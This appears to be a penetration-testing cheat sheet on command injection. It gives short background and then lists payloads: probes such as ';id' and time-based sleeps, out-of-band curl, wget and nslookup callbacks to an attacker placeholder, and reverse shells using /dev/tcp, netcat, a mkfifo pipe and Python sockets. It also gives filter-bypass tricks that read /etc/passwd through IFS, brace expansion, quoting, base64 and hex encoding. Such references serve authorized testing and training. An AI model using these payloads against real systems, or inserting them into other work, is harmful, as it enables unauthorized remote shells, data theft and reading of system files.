Command Injection

reference 46 commands

Recon
Enumerate
Foothold
PrivEsc
Lateral
Post-Ex

yieldsWeb injection point

How it works

Command injection occurs when user-supplied data is passed to a system shell (via functions like system(), exec(), popen() in PHP; subprocess, os.system() in Python; Runtime.exec() in Java) without sufficient sanitization. The attacker injects shell metacharacters that cause the shell to execute additional commands beyond the developer's intent. The injected commands run with the same privileges as the web server process.

Detection Payloads

Append these to any input that might be passed to a system command (IP addresses, hostnames, filenames, usernames, port numbers):

;id

|id

||id

&&id

`id`

$(id)

%0aid             # URL-encoded newline

%0a id

;whoami

|whoami

;sleep 5          # Time-based · if response delays by 5s, injection confirmed

|sleep 5

&&sleep 5

$(sleep 5)

`sleep 5`

;ping -c 1 <YOUR-IP>

Blind Command Injection Detection

Time-based

;sleep 5

|sleep 5;

$(sleep 5)

`sleep 5`

& ping -c 1 -W 5 <UNREACHABLE-IP> &     # Timeout = ~5s

; timeout 5

Out-of-band (DNS/HTTP callback)

Start listener: tcpdump -i tun0 icmp

;ping -c 3 <YOUR-IP>

HTTP callback · start python3 -m http.server 80 on attacker

;curl http://<YOUR-IP>/blind-test

;wget http://<YOUR-IP>/blind-test

$(curl http://<YOUR-IP>/blind-test)

DNS · if you have Burp Collaborator or interactsh

;nslookup <YOUR-BURP-COLLABORATOR-DOMAIN>

Reverse Shell via Command Injection

Replace injection point with these (URL-encode when in HTTP params)

;bash -i >& /dev/tcp/<YOUR-IP>/4444 0>&1

;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR-IP> 4444 >/tmp/f

;python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<YOUR-IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

;nc <YOUR-IP> 4444 -e /bin/bash

Filter Bypass Techniques

Whitespace bypass

{cat,/etc/passwd}         # Brace expansion (no spaces needed)

cat${IFS}/etc/passwd      # ${IFS} = Internal Field Separator (space)

cat$IFS/etc/passwd

cat</etc/passwd           # Input redirection

X=$'cat\x20/etc/passwd';$X   # Hex-encoded space

Keyword bypass · string concatenation

c'a't /etc/passwd

c"a"t /etc/passwd

ca\t /etc/passwd

who$@ami

Encoding bypass

;$(echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d)    # base64 of "cat /etc/passwd"

;$(echo 63617420 2f6574632f706173737764 | xxd -r -p)    # Hex encoded

Variable-based bypass

a=c;b=at;$a$b /etc/passwd

IFS=,; cmd=cat,/etc/passwd; $cmd

Newline injection (when semicolons and pipes are filtered)

%0a id

%0d%0a id

connected

leads to

Decision Tree: Web Injection Point → What First?

in OWASP

Injection